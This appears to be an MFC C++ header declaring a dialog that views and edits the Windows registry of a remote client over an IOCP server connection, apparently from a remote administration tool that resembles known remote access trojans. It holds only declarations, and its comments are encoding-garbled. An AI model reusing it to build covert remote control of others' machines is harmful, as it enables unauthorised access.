2024-06-23 17:36:53 +08:00

125 lines
3.2 KiB
C++
Raw Permalink Blame History

#if !defined(AFX_REGEDITDLG_H__14CD28FC_042D_4FE9_87E3_37C9131585CC__INCLUDED_)
#define AFX_REGEDITDLG_H__14CD28FC_042D_4FE9_87E3_37C9131585CC__INCLUDED_
#include <iostream>
#include <vector>
using namespace std;
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// RegeditDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CRegeditDlg dialog
enum MYKEY
{
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE
{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
class CRegeditDlg : public CDialog
{
// Construction
public:
CRegeditDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext); // standard constructor
void OnReceiveComplete();
static void SetClipboardText(CString &Data);
// Dialog Data
//{{AFX_DATA(CRegeditDlg)
enum { IDD = IDD_DIALOG_REGEDIT };
CListCtrl m_list;
CTreeCtrl m_tree;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CRegeditDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CStatusBar m_wndStatusBar;
CXTHeaderCtrl m_heades;
// Generated message map functions
//{{AFX_MSG(CRegeditDlg)
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
virtual BOOL OnInitDialog();
afx_msg void OnRclickTree(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnItemexpandingTree(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnSelchangedTree(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void ModifyDrawStyle(UINT uFlag, BOOL bRemove);
afx_msg void EnableControls(BOOL bRedraw);
afx_msg void OnMenuitemTreeNew();
afx_msg void OnMenuitemTreeDel();
afx_msg void OnMenuitemRegexit();
afx_msg void OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMenuitemRegEdit();
afx_msg void OnMenuitemRegStr();
afx_msg void OnMenuitemRegDword();
afx_msg void OnMenuitemExstr();
afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMenuitemRegDel();
afx_msg void OnMenuitemTreeCopyname();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
protected:
HTREEITEM m_hRoot;
HTREEITEM SelectNode;// <20>û<EFBFBD><C3BB>򿪵Ľڵ<C4BD>
CImageList m_ImageList,m_ImageTree;
static LPCTSTR m_strComputer,m_strDefault;
// <20><>ȡȫ·<C8AB><C2B7>
CString GetFullPath(HTREEITEM hCurrent);
BYTE GetFatherPath(CString &FullPath);
void AddToTree(char* lpBuffer);
void AddToList(char* lpBuffer);
bool isEnable; //<2F>ؼ<EFBFBD><D8BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
void EnableCursor(bool bEnable);
void GetRegTree(NM_TREEVIEW* pNMTreeView);
void ShowSucceed();
UINT nFlag; // 1<><31>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD> 2<><32><EFBFBD>½<EFBFBD><C2BD><EFBFBD> 3<><33>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD> 4<><34> <20>½<EFBFBD><C2BD><EFBFBD> 5<><35><EFBFBD><EFBFBD><E0BCAD>
CString strPath;
HICON m_hIcon;
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
BYTE GetEditType(int index);
bool isEdit; //<2F>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ڱ༭
CString Key;
CString Value;
BYTE type;
int index;
CString m_IPAddress;
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_REGEDITDLG_H__14CD28FC_042D_4FE9_87E3_37C9131585CC__INCLUDED_)